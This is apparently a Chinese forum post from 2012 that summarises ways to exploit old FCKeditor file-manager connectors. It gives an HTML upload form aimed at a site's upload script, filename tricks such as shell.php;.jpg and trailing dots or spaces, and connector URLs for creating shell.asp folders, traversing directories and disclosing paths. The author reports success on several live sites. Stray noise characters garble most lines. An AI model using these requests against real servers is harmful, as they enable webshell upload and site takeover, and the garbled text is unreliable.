Fckeditor漏洞利用总结 9 a' }& m0 D- d7 k! w0 Z
查看编辑器版本
% H b4 v5 a% a g0 T% P5 {FCKeditor/_whatsnew.html1 W" f& Q# Y8 r+ n2 R# f
—————————————————————————————————————————————————————————————
" q( D \6 \& u; b9 g; ]% Y: C) v+ s V8 ^# e" M6 b
2. Version 2.2 版本* r# M1 w: e4 W {
Apache+linux 环境下在上传文件后面加个.突破！测试通过。% n7 J2 u1 f0 b' h. t0 r
—————————————————————————————————————————————————————————————* M& f& s& E# L; ^; i
5 O& x1 S }7 V
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。; D$ y& A& j/ F! V
<form id="frmUpload" enctype="multipart/form-data"
]. U: ^, A* Zaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>; L& d$ A+ [- Y
<input type="file" name="NewFile" size="50"><br>
' H/ |. t. T" Q1 z+ M<input id="btnUpload" type="submit" value="Upload">8 ^! ]" h0 t4 v4 F( h4 ^ ?
</form>
2 W Y; b" S, X6 [) y- d—————————————————————————————————————————————————————————————
; q0 Z, A0 ~6 i, C. |' W, ^0 X, T
* m# M( F r, F4.FCKeditor 文件上传“.”变“_”下划线的绕过方法( P2 z1 x& Z2 I9 z
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
; s$ ]% v: e: H+ }1 Q# l 4.1：提交shell.php+空格绕过* o2 _6 I4 _, B+ S9 D0 q8 R
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
. y( i$ t% u9 P9 D( q 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。# d& B2 \/ y$ n% V P
—————————————————————————————————————————————————————————————$ c6 x% f3 w# ?/ s4 S
, s9 P- s7 f: D* l( y, u5. 突破建立文件夹1 E# c# b+ U) V, A
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684" a" g/ @$ n% [
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
w2 R/ s8 k, A! Z" F—————————————————————————————————————————————————————————————; F" ]4 c9 I4 c# g% i- Z) A
+ x1 v A# Q$ Q2 C( f( d( u
6. FCKeditor 中test 文件的上传地址( o! o4 j1 p' P) b5 `' F
FCKeditor/editor/filemanager/browser/default/connectors/test.html! W" Q# Z% }* s* k/ c8 r8 a- O
FCKeditor/editor/filemanager/upload/test.html
+ Q; _7 z! K* r9 ~! ?; cFCKeditor/editor/filemanager/connectors/test.html
5 _8 \: l& t' w7 U& eFCKeditor/editor/filemanager/connectors/uploadtest.html9 ?% K; i; n6 u$ ?8 Q
—————————————————————————————————————————————————————————————; _3 e# O+ I& E5 [6 Z) o; y
' A$ {7 s1 I" G( A! h. [# c
7.常用上传地址
4 _! C; E- Z* T0 i0 y9 E! |FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/) C- C# F" B+ I1 } G# ]7 l7 P# W- l9 E
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
$ w" O/ Q& d1 g5 dFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
7 B' Y8 y2 K- L+ R& Y$ G5 aJSP 版：+ S X" k$ e8 Q3 S* I8 b4 G/ Z
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp2 z- j+ t3 F! l4 r7 D# Q
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
9 i/ n& u" q0 }6 K' X/ a件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。' i4 i1 C* D/ D3 N3 t/ q% z7 P
—————————————————————————————————————————————————————————————6 i( r% o1 K4 ?( X
8 E+ L& x1 }: e8.其他上传地址
9 N% b' \- U9 Y0 [3 e, d1 @: i# cFCKeditor/_samples/default.html/ B% s. h% w1 C+ O; D- T; A' k- x5 ^5 _
FCKeditor/_samples/asp/sample01.asp/ a0 l% h6 v' t6 z$ Z! d) o; {' l5 }
FCKeditor/_samples/asp/sample02.asp
- F( f2 \- v6 y" M: ?0 ]FCKeditor/_samples/asp/sample03.asp5 p& x6 \/ G2 n+ `/ h
FCKeditor/_samples/asp/sample04.asp
9 Q& `/ x+ ]+ v9 @. {4 o, ?5 i+ c一般很多站点都已删除_samples 目录，可以试试。. Z- F2 ^* Q p: a
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。) L' l6 t3 w f4 [) j
—————————————————————————————————————————————————————————————; {: C& H; I! k8 |; s7 ~
+ Q! q" l9 Q% T6 j- x" y9.列目录漏洞也可助找上传地址% f# o5 x" `, Q0 Q
Version 2.4.1 测试通过6 g$ s7 @% E2 [9 A3 u7 Z6 E1 \. n4 H! I# k
修改CurrentFolder 参数使用 ../../来进入不同的目录# ]8 P- r& O7 I
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
9 O7 d, r5 B' C3 V4 @6 j: }3 S& W根据返回的XML 信息可以查看网站所有的目录。
; ^+ W z3 |, _" a9 dFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
6 @! E$ V: k& P) F0 P也可以直接浏览盘符：
; x; _- u9 O. e' S2 J* A* ?0 NJSP 版本：* t `8 w$ @; @& N2 ~& C
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F: K' i; a( F2 S+ z( q' g ]
—————————————————————————————————————————————————————————————
4 [7 H" `2 R V1 Y/ V- Z2 C- t) D% o( h) }
10.爆路径漏洞
. V% t ?$ ~' W$ qFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp( x( }# Z; f r( p N& R& a
—————————————————————————————————————————————————————————————
& ]1 g+ P& Q1 p1 ]
' T" M1 Y! e8 I0 \9 Z) h11. FCKeditor 被动限制策略所导致的过滤不严问题
( }2 f8 J- n1 x" X; t& A" q% V 影响版本: FCKeditor x.x <= FCKeditor v2.4.3+ P) g E- w+ s/ W3 |. {
脆弱描述：
" P W7 M" i5 ~; q9 n" s7 XFCKeditor v2.4.3 中File 类别默认拒绝上传类型：
0 n: t) k- K( j* X" W* Ihtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
/ _& Q1 i7 O; Z% DFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!" m2 T% W9 }/ ]6 r# q
而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。 T4 G8 M$ x0 V+ b. D
在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
1 `/ f g3 u' Z9 g& C—————————————————————————————————————————————————————————————# x9 z6 E2 F1 K. k4 ~$ Q; t2 {, b
5 N9 @4 `5 M: B
12.最古老的漏洞，Type文件没有限制！
& ^8 s' L) h* h1 R. t 我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ + ^# u1 V4 c* I8 b8 @- Z- X
—————————————————————————————————————————————————————————————
& L$ _, m1 I1 p# ]' ]7 F
1 P- Q* m5 }( n: F' U' N& W' }+ C===============================================================================================================================================
# H7 x- V# S% h. O) \, N
0 w9 Y p% I) M' e* B F) `/ o' |FCK编辑器jsp版本漏洞：, r) m+ I/ C7 k% h7 U: V* P
! }. g5 X8 e U# ]
5 P: V( Z1 K; g& G* @% zhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F& |2 F# p! Q& L8 m8 Y% f7 i
1 `2 T9 C, k8 m+ E' t5 u上传马所在目录1 }8 `8 b; g! p
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
; I& \! ?( f. V$ E8 _" F上传shell的地址:: o, s( ?. z0 i* ~/ K" ^ C
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
" x" e L* A% E( M跟版本有关系.并不是百分百成功. 测试成功几个站.
I# K$ p' y! X; X不能通杀.很遗憾.
1 x7 ^7 |1 b1 c' b$ g7 y. A9 x$ Dhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector4 P6 k) f) h0 j; G5 d# k
如果以上地址不行可以试试! V7 L1 {0 [6 J: x3 P& L+ Q; z9 U
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector, c# S' [$ m$ r w/ j3 V4 i: p3 i$ Z, K
FCKeditor/_samples/
. L6 m6 X, e. j: X# d" VFCKeditor/_samples/default.html
4 B% T$ x( [7 E9 {FCKeditor/editor/fckeditor.htm
$ e) X; s0 D# q/ FFCKeditor/editor/fckdialog.html5 G0 b2 P! l7 c1 u) K4 ]2 g
; @! X! s0 I* p8 I9 c$ e: J* ?8 E s0 y" Z1 N3 ?; t- l
* |9 P$ Z P8 x9 y4 N
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
! N* x" ?6 K# ^! z% D% @5 `0 S |
发表于 2012-9-13 17:01:39
收藏
支持
反对